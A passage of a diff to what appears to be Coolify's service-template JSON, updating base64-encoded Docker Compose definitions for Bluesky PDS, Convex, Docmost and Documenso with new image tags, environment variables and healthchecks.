7UERTX0JMT0JfVVBMT0FEX0xJTUlUOi0xMDQ4NTc2MDB9JwogICAgICAtICdQRFNfRElEX1BMQ19VUkw9JHtQRFNfRElEX1BMQ19VUkw6LWh0dHBzOi8vcGxjLmRpcmVjdG9yeX0nCiAgICAgIC0gJ1BEU19FTUFJTF9GUk9NX0FERFJFU1M9JHtQRFNfRU1BSUxfRlJPTV9BRERSRVNTfScKICAgICAgLSAnUERTX0VNQUlMX1NNVFBfVVJMPSR7UERTX0VNQUlMX1NNVFBfVVJMfScKICAgICAgLSAnUERTX0JTS1lfQVBQX1ZJRVdfVVJMPSR7UERTX0JTS1lfQVBQX1ZJRVdfVVJMOi1odHRwczovL2FwaS5ic2t5LmFwcH0nCiAgICAgIC0gJ1BEU19CU0tZX0FQUF9WSUVXX0RJRD0ke1BEU19CU0tZX0FQUF9WSUVXX0RJRDotZGlkOndlYjphcGkuYnNreS5hcHB9JwogICAgICAtICdQRFNfUkVQT1JUX1NFUlZJQ0VfVVJMPSR7UERTX1JFUE9SVF9TRVJWSUNFX1VSTDotaHR0cHM6Ly9tb2QuYnNreS5hcHAveHJwYy9jb20uYXRwcm90by5tb2RlcmF0aW9uLmNyZWF0ZVJlcG9ydH0nCiAgICAgIC0gJ1BEU19SRVBPUlRfU0VSVklDRV9ESUQ9JHtQRFNfUkVQT1JUX1NFUlZJQ0VfRElEOi1kaWQ6cGxjOmFyN2M0Ynk0NnFqZHlkaGRldnZybmRhY30nCiAgICAgIC0gJ1BEU19DUkFXTEVSUz0ke1BEU19DUkFXTEVSUzotaHR0cHM6Ly9ic2t5Lm5ldHdvcmt9JwogICAgICAtICdMT0dfRU5BQkxFRD0ke0xPR19FTkFCTEVEOi10cnVlfScKICAgIGNvbW1hbmQ6ICJzaCAtYyAnXG4gIHNldCAtZXVvIHBpcGVmYWlsXG4gIGVjaG8gXCJJbnN0YWxsaW5nIHJlcXVpcmVkIHBhY2thZ2VzIGFuZCBwZHNhZG1pbi4uLlwiXG4gIGFwayBhZGQgLS1uby1jYWNoZSBvcGVuc3NsIGN1cmwgYmFzaCBqcSBjb3JldXRpbHMgZ251cGcgdXRpbC1saW51eC1taXNjID4vZGV2L251bGxcbiAgY3VybCAtbyAvdXNyL2xvY2FsL2Jpbi9wZHNhZG1pbi5zaCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmx1ZXNreS1zb2NpYWwvcGRzL21haW4vcGRzYWRtaW4uc2hcbiAgY2htb2QgNzAwIC91c3IvbG9jYWwvYmluL3Bkc2FkbWluLnNoXG4gIGxuIC1zZiAvdXNyL2xvY2FsL2Jpbi9wZHNhZG1pbi5zaCAvdXNyL2xvY2FsL2Jpbi9wZHNhZG1pblxuICBlY2hvIFwiQ3JlYXRpbmcgYW4gZW1wdHkgcGRzLmVudiBmaWxlIHNvIHBkc2FkbWluIHdvcmtzLi4uXCJcbiAgdG91Y2ggJHtQRFNfREFUQV9ESVJFQ1RPUll9L3Bkcy5lbnZcbiAgZWNobyBcIkxhdW5jaGluZyBQRFMsIGVuam95IS4uLlwiXG4gIGV4ZWMgbm9kZSAtLWVuYWJsZS1zb3VyY2UtbWFwcyBpbmRleC5qc1xuJ1xuIgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAveHJwYy9faGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "bluesky", "pds", @@ -580,9 +580,9 @@ "port": "3000" }, "convex": { - "documentation": "https://docs.convex.dev/?utm_source=coolify.io", + "documentation": "https://github.com/get-convex/convex-backend/blob/main/self-hosted/README.md?utm_source=coolify.io", "slogan": "Convex is the open-source reactive database for app developers.", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9nZXQtY29udmV4L2NvbnZleC1iYWNrZW5kOjUxNDNmZWM4MWYxNDZjYTY3NDk1YzEyYzZiN2ExNWM1ODAyYzM3ZTInCiAgICB2b2x1bWVzOgogICAgICAtICdkYXRhOi9jb252ZXgvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0JBQ0tFTkRfMzIxMAogICAgICAtICdJTlNUQU5DRV9OQU1FPSR7SU5TVEFOQ0VfTkFNRTotc2VsZi1ob3N0ZWQtY29udmV4fScKICAgICAgLSAnSU5TVEFOQ0VfU0VDUkVUPSR7U0VSVklDRV9IRVhfMzJfU0VDUkVUfScKICAgICAgLSAnQ09OVkVYX1JFTEVBU0VfVkVSU0lPTl9ERVY9JHtDT05WRVhfUkVMRUFTRV9WRVJTSU9OX0RFVjotfScKICAgICAgLSAnQUNUSU9OU19VU0VSX1RJTUVPVVRfU0VDUz0ke0FDVElPTlNfVVNFUl9USU1FT1VUX1NFQ1M6LX0nCiAgICAgIC0gJ0NPTlZFWF9DTE9VRF9PUklHSU49JHtTRVJWSUNFX1VSTF9DT05WRVhfMzIxMH0nCiAgICAgIC0gJ0NPTlZFWF9TSVRFX09SSUdJTj0ke1NFUlZJQ0VfVVJMX0NPTlZFWF8zMjExfScKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOi19JwogICAgICAtICdESVNBQkxFX0JFQUNPTj0ke0RJU0FCTEVfQkVBQ09OOi19JwogICAgICAtICdSRURBQ1RfTE9HU19UT19DTElFTlQ9JHtSRURBQ1RfTE9HU19UT19DTElFTlQ6LX0nCiAgICAgIC0gJ0NPTlZFWF9TRUxGX0hPU1RFRF9VUkw9JHtTRVJWSUNFX1VSTF9DT05WRVhfNjc5MX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ2N1cmwgLWYgaHR0cDovLzEyNy4wLjAuMTozMjEwL3ZlcnNpb24nCiAgICAgIGludGVydmFsOiA1cwogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAgZGFzaGJvYXJkOgogICAgaW1hZ2U6ICdnaGNyLmlvL2dldC1jb252ZXgvY29udmV4LWRhc2hib2FyZDo1MTQzZmVjODFmMTQ2Y2E2NzQ5NWMxMmM2YjdhMTVjNTgwMmMzN2UyJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfQ09OVkVYXzY3OTEKICAgICAgLSBORVhUX1BVQkxJQ19ERVBMT1lNRU5UX1VSTD0kU0VSVklDRV9VUkxfQkFDS0VORF8zMjEwCiAgICBkZXBlbmRzX29uOgogICAgICBiYWNrZW5kOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjY3OTEvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9nZXQtY29udmV4L2NvbnZleC1iYWNrZW5kOjAwYmQ5MjcyMzQyMmYzYmZmOTY4MjMwYzk0Y2NkZWI4YzE3MTk4MzInCiAgICB2b2x1bWVzOgogICAgICAtICdkYXRhOi9jb252ZXgvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0JBQ0tFTkRfMzIxMAogICAgICAtICdJTlNUQU5DRV9OQU1FPSR7SU5TVEFOQ0VfTkFNRTotc2VsZi1ob3N0ZWQtY29udmV4fScKICAgICAgLSAnSU5TVEFOQ0VfU0VDUkVUPSR7U0VSVklDRV9IRVhfMzJfU0VDUkVUfScKICAgICAgLSAnQ09OVkVYX1JFTEVBU0VfVkVSU0lPTl9ERVY9JHtDT05WRVhfUkVMRUFTRV9WRVJTSU9OX0RFVjotfScKICAgICAgLSAnQUNUSU9OU19VU0VSX1RJTUVPVVRfU0VDUz0ke0FDVElPTlNfVVNFUl9USU1FT1VUX1NFQ1M6LX0nCiAgICAgIC0gJ0NPTlZFWF9DTE9VRF9PUklHSU49JHtTRVJWSUNFX1VSTF9DT05WRVh9JwogICAgICAtICdDT05WRVhfU0lURV9PUklHSU49JHtTRVJWSUNFX1VSTF9CQUNLRU5EfScKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOi19JwogICAgICAtICdESVNBQkxFX0JFQUNPTj0ke0RJU0FCTEVfQkVBQ09OOj9mYWxzZX0nCiAgICAgIC0gJ1JFREFDVF9MT0dTX1RPX0NMSUVOVD0ke1JFREFDVF9MT0dTX1RPX0NMSUVOVDo/ZmFsc2V9JwogICAgICAtICdET19OT1RfUkVRVUlSRV9TU0w9JHtET19OT1RfUkVRVUlSRV9TU0w6P3RydWV9JwogICAgICAtICdQT1NUR1JFU19VUkw9JHtQT1NUR1JFU19VUkw6LX0nCiAgICAgIC0gJ01ZU1FMX1VSTD0ke01ZU1FMX1VSTDotfScKICAgICAgLSAnUlVTVF9MT0c9JHtSVVNUX0xPRzotaW5mb30nCiAgICAgIC0gJ1JVU1RfQkFDS1RSQUNFPSR7UlVTVF9CQUNLVFJBQ0U6LX0nCiAgICAgIC0gJ0FXU19SRUdJT049JHtBV1NfUkVHSU9OOi19JwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke0FXU19BQ0NFU1NfS0VZX0lEOi19JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtBV1NfU0VDUkVUX0FDQ0VTU19LRVk6LX0nCiAgICAgIC0gJ0FXU19TRVNTSU9OX1RPS0VOPSR7QVdTX1NFU1NJT05fVE9LRU46LX0nCiAgICAgIC0gJ0FXU19TM19GT1JDRV9QQVRIX1NUWUxFPSR7QVdTX1MzX0ZPUkNFX1BBVEhfU1RZTEU6LX0nCiAgICAgIC0gJ0FXU19TM19ESVNBQkxFX1NTRT0ke0FXU19TM19ESVNBQkxFX1NTRTotfScKICAgICAgLSAnQVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TPSR7QVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TOi19JwogICAgICAtICdTM19TVE9SQUdFX0VYUE9SVFNfQlVDS0VUPSR7UzNfU1RPUkFHRV9FWFBPUlRTX0JVQ0tFVDotfScKICAgICAgLSAnUzNfU1RPUkFHRV9TTkFQU0hPVF9JTVBPUlRTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfU05BUFNIT1RfSU1QT1JUU19CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX1NUT1JBR0VfTU9EVUxFU19CVUNLRVQ9JHtTM19TVE9SQUdFX01PRFVMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX0ZJTEVTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfRklMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ9JHtTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX0VORFBPSU5UX1VSTD0ke1MzX0VORFBPSU5UX1VSTDotfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAtZiBodHRwOi8vMTI3LjAuMC4xOjMyMTAvdmVyc2lvbicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgZGFzaGJvYXJkOgogICAgaW1hZ2U6ICdnaGNyLmlvL2dldC1jb252ZXgvY29udmV4LWRhc2hib2FyZDozM2NlZjc3NWE4YTYyMjhjYmFjZWU0YTA5YWMyYzQwNzNkNjJlZDEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfQ09OVkVYXzY3OTEKICAgICAgLSAnTkVYVF9QVUJMSUNfREVQTE9ZTUVOVF9VUkw9JHtTRVJWSUNFX1VSTF9CQUNLRU5EfScKICAgIGRlcGVuZHNfb246CiAgICAgIGJhY2tlbmQ6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6Njc5MS8nCiAgICAgIGludGVydmFsOiA1cwogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "database", "reactive", @@ -724,7 +724,7 @@ "docmost": { "documentation": "https://docmost.com/docs/?utm_source=coolify.io", "slogan": "Open-source collaborative wiki and documentation software", - "compose": "c2VydmljZXM6CiAgZG9jbW9zdDoKICAgIGltYWdlOiAnZG9jbW9zdC9kb2Ntb3N0OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPQ01PU1RfMzAwMAogICAgICAtIEFQUF9TRUNSRVQ9JFNFUlZJQ0VfQkFTRTY0X0FQUEtFWQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfVVJMX0RPQ01PU1RfMzAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcG9zdGdyZXNxbC9kb2Ntb3N0P3NjaGVtYT1wdWJsaWMnCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3JlZGlzOjYzNzknCiAgICB2b2x1bWVzOgogICAgICAtICdkb2Ntb3N0Oi9hcHAvZGF0YS9zdG9yYWdlJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX0RCPWRvY21vc3QKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", + "compose": "c2VydmljZXM6CiAgZG9jbW9zdDoKICAgIGltYWdlOiAnZG9jbW9zdC9kb2Ntb3N0OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPQ01PU1RfMzAwMAogICAgICAtIEFQUF9TRUNSRVQ9JFNFUlZJQ0VfQkFTRTY0X0FQUEtFWQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfVVJMX0RPQ01PU1RfMzAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcG9zdGdyZXNxbC9kb2Ntb3N0P3NjaGVtYT1wdWJsaWMnCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3JlZGlzOjYzNzknCiAgICAgIC0gJ01BSUxfRFJJVkVSPSR7TUFJTF9EUklWRVJ9JwogICAgICAtICdTTVRQX0hPU1Q9JHtTTVRQX0hPU1R9JwogICAgICAtICdTTVRQX1BPUlQ9JHtTTVRQX1BPUlR9JwogICAgICAtICdTTVRQX1VTRVJOQU1FPSR7U01UUF9VU0VSTkFNRX0nCiAgICAgIC0gJ1NNVFBfUEFTU1dPUkQ9JHtTTVRQX1BBU1NXT1JEfScKICAgICAgLSAnU01UUF9TRUNVUkU9JHtTTVRQX1NFQ1VSRX0nCiAgICAgIC0gJ01BSUxfRlJPTV9BRERSRVNTPSR7TUFJTF9GUk9NX0FERFJFU1N9JwogICAgICAtICdNQUlMX0ZST01fTkFNRT0ke01BSUxfRlJPTV9OQU1FfScKICAgICAgLSAnUE9TVE1BUktfVE9LRU49JHtQT1NUTUFSS19UT0tFTn0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2Ntb3N0Oi9hcHAvZGF0YS9zdG9yYWdlJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX0RCPWRvY21vc3QKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", "tags": [ "documentation", "opensource", @@ -743,7 +743,7 @@ "documenso": { "documentation": "https://docs.documenso.com/?utm_source=coolify.io", "slogan": "Document signing, finally open source", - "compose": "c2VydmljZXM6CiAgZG9jdW1lbnNvOgogICAgaW1hZ2U6IGRvY3VtZW5zby9kb2N1bWVuc28KICAgIGRlcGVuZHNfb246CiAgICAgIGRhdGFiYXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9ET0NVTUVOU09fMzAwMAogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX1VSTF9ET0NVTUVOU099JwogICAgICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9BVVRIU0VDUkVUfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfRU5DUllQVElPTktFWX0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9FTkNSWVBUSU9OX1NFQ09OREFSWV9LRVk9JHtTRVJWSUNFX0JBU0U2NF9TRUNPTkRBUllFTkNSWVBUSU9OS0VZfScKICAgICAgLSAnTkVYVF9QVUJMSUNfV0VCQVBQX1VSTD0ke1NFUlZJQ0VfVVJMX0RPQ1VNRU5TT30nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX1RSQU5TUE9SVD0ke05FWFRfUFJJVkFURV9TTVRQX1RSQU5TUE9SVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX0hPU1Q9JHtORVhUX1BSSVZBVEVfU01UUF9IT1NUfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfUE9SVD0ke05FWFRfUFJJVkFURV9TTVRQX1BPUlR9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9VU0VSTkFNRT0ke05FWFRfUFJJVkFURV9TTVRQX1VTRVJOQU1FfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfUEFTU1dPUkQ9JHtORVhUX1BSSVZBVEVfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX0ZST01fTkFNRT0ke05FWFRfUFJJVkFURV9TTVRQX0ZST01fTkFNRX0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX0ZST01fQUREUkVTUz0ke05FWFRfUFJJVkFURV9TTVRQX0ZST01fQUREUkVTU30nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9EQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QGRhdGFiYXNlLyR7UE9TVEdSRVNfREI6LWRvY3VtZW5zby1kYn0/c2NoZW1hPXB1YmxpYycKICAgICAgLSAnTkVYVF9QUklWQVRFX0RJUkVDVF9EQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QGRhdGFiYXNlLyR7UE9TVEdSRVNfREI6LWRvY3VtZW5zby1kYn0/c2NoZW1hPXB1YmxpYycKICAgICAgLSBORVhUX1BSSVZBVEVfU0lHTklOR19MT0NBTF9GSUxFX1BBVEg9L2FwcC9hcHBzL3JlbWl4L2NlcnRzL2NlcnRpZmljYXRlLnAxMgogICAgICAtICdORVhUX1BSSVZBVEVfU0lHTklOR19QQVNTUEhSQVNFPSR7U0VSVklDRV9QQVNTV09SRF9ET0NVTUVOU099JwogICAgICAtICdDRVJUX1ZBTElEX0RBWVM9JHtDRVJUX1ZBTElEX0RBWVM6LTM2NX0nCiAgICAgIC0gJ0NFUlRfSU5GT19DT1VOVFJZX05BTUU9JHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FOi1ET30nCiAgICAgIC0gJ0NFUlRfSU5GT19TVEFURV9PUl9QUk9WSURFTkNFPSR7Q0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0U6LVNhbnRpYWdvfScKICAgICAgLSAnQ0VSVF9JTkZPX0xPQ0FMSVRZX05BTUU9JHtDRVJUX0lORk9fTE9DQUxJVFlfTkFNRTotU2FudGlhZ299JwogICAgICAtICdDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUU9JHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUU6LUV4YW1wbGUgSU5DfScKICAgICAgLSAnQ0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVQ9JHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OQUxfVU5JVDotSVQgRGVwYXJ0bWVudH0nCiAgICAgIC0gJ0NFUlRfSU5GT19FTUFJTD0ke0NFUlRfSU5GT19FTUFJTDotZXhhbXBsZUBnbWFpbC5jb219JwogICAgICAtICdORVhUX1BVQkxJQ19ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfTE9HSU46LWZhbHNlfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAid2dldCAtcSAtTyAtIGh0dHA6Ly9kb2N1bWVuc286MzAwMC8gfCBncmVwIC1xICdTaWduIGluIHRvIHlvdXIgYWNjb3VudCciCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAiZWNobyBcIi4vY2VydHNcIiA+IC90bXAvY2VydHNfZGlyX3BhdGhcbmVjaG8gXCIuL21ha2UtY2VydHMuc2hcIiA+IC90bXAvY2VydF9zY3JpcHRfcGF0aFxuZWNobyBcIiR7U0VSVklDRV9QQVNTV09SRF9ET0NVTUVOU099XCIgPiAvdG1wL2NlcnRfcGFzc1xuXG50b3VjaCAvdG1wL2NlcnRfaW5mb19wYXRoXG5jYXQgPDxFT0YgPiAvdG1wL2NlcnRfaW5mb19wYXRoXG5bIHJlcSBdXG5kaXN0aW5ndWlzaGVkX25hbWUgPSByZXFfZGlzdGluZ3Vpc2hlZF9uYW1lXG5wcm9tcHQgPSBub1xuWyByZXFfZGlzdGluZ3Vpc2hlZF9uYW1lIF1cbkMgICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX0NPVU5UUllfTkFNRX1cblNUICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0V9XG5MICAgICAgICAgICAgPSAke0NFUlRfSU5GT19MT0NBTElUWV9OQU1FfVxuTyAgICAgICAgICAgID0gJHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUV9XG5PVSAgICAgICAgICAgPSAke0NFUlRfSU5GT19PUkdBTklaQVRJT05BTF9VTklUfVxuQ04gICAgICAgICAgID0gJHtTRVJWSUNFX1VSTF9ET0NVTUVOU099XG5lbWFpbEFkZHJlc3MgPSAke0NFUlRfSU5GT19FTUFJTH1cbkVPRlxuXG5jYXQgPDxFT0YgPiBcIiQoY2F0IC90bXAvY2VydF9zY3JpcHRfcGF0aClcIlxubWtkaXIgLXAgXCIkKGNhdCAvdG1wL2NlcnRzX2Rpcl9wYXRoKVwiICYmIGNkIFwiJChjYXQgL3RtcC9jZXJ0c19kaXJfcGF0aClcIlxuXG5vcGVuc3NsIGdlbnJzYSAtb3V0IHByaXZhdGUua2V5IDIwNDhcblxub3BlbnNzbCByZXEgXFxcbiAgLW5ldyBcXFxuICAteDUwOSBcXFxuICAta2V5IHByaXZhdGUua2V5IFxcXG4gIC1vdXQgY2VydGlmaWNhdGUuY3J0IFxcXG4gIC1kYXlzICR7Q0VSVF9WQUxJRF9EQVlTfSBcXFxuICAtY29uZmlnIC90bXAvY2VydF9pbmZvX3BhdGhcblxub3BlbnNzbCBwa2NzMTIgXFxcbiAgLWV4cG9ydCBcXFxuICAtb3V0IGNlcnRpZmljYXRlLnAxMiBcXFxuICAtaW5rZXkgcHJpdmF0ZS5rZXkgXFxcbiAgLWluIGNlcnRpZmljYXRlLmNydCBcXFxuICAtbGVnYWN5IFxcXG4gIC1wYXNzd29yZCBmaWxlOi90bXAvY2VydF9wYXNzXG5FT0ZcbmNobW9kICt4IFwiJChjYXQgL3RtcC9jZXJ0X3NjcmlwdF9wYXRoKVwiXG5cbnNoIFwiJChjYXQgL3RtcC9jZXJ0X3NjcmlwdF9wYXRoKVwiXG5cbi4vc3RhcnQuc2hcbiIKICBkYXRhYmFzZToKICAgIGltYWdlOiAncG9zdGdyZXM6MTcnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWRvY3VtZW5zby1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2N1bWVuc29fcG9zdGdyZXNxbF9kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCi